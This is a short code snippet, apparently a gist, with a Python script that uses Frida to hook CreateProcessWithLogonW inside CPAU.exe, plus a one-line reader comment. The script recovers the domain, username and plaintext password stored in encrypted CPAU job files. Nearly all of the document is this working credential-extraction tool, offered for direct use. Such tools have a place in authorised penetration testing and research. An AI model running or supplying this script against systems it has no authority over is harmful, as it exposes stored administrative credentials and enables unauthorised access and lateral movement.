Decrypt credentials from encrypted CPAU job file using the original CPAU.exe (and Frida.re)

cpau-decrypt-creds.py

# extract credentials from CPAU (and possibly other) encrypted config file
# using the original CPAU.exe and hooking WinAPI call CreateProcessWithLogonW using Frida.re
#
# https://www.joeware.net/freetools/tools/cpau/
#

import sys
import frida

def on_message(message, data):
    print(message['payload'])

cmd = "CPAU.exe"
args = [ cmd, "-dec", "-file", sys.argv[1], "-lwp" ]

pid = frida.spawn(args)
print("[*] PID of CPAU.exe is {}".format(pid))

session = frida.attach(pid)

# colored output :) use Windows Terminal
JS = """
var pCreateProcessWithLogonW = Module.findExportByName("Advapi32.dll", 'CreateProcessWithLogonW')
Interceptor.attach(pCreateProcessWithLogonW, {
    onEnter: function (args) {
        send("[+] CreateProcessWithLogonW API hooked!");
        send("[+] Credentials: \033[92m" + args[1].readUtf16String() + "\\\\" +
                                    args[0].readUtf16String() + ":" +
                                    args[2].readUtf16String() + "\033[0m");
    }
});
"""

script = session.create_script(JS)

script.on('message', on_message)
script.load()
print("[*] Script loaded, resuming program...");
frida.resume(pid)
print("[!] Ctrl+Z to detach from instrumented program.\n\n")
sys.stdin.read()
session.detach()

Love the Frida example.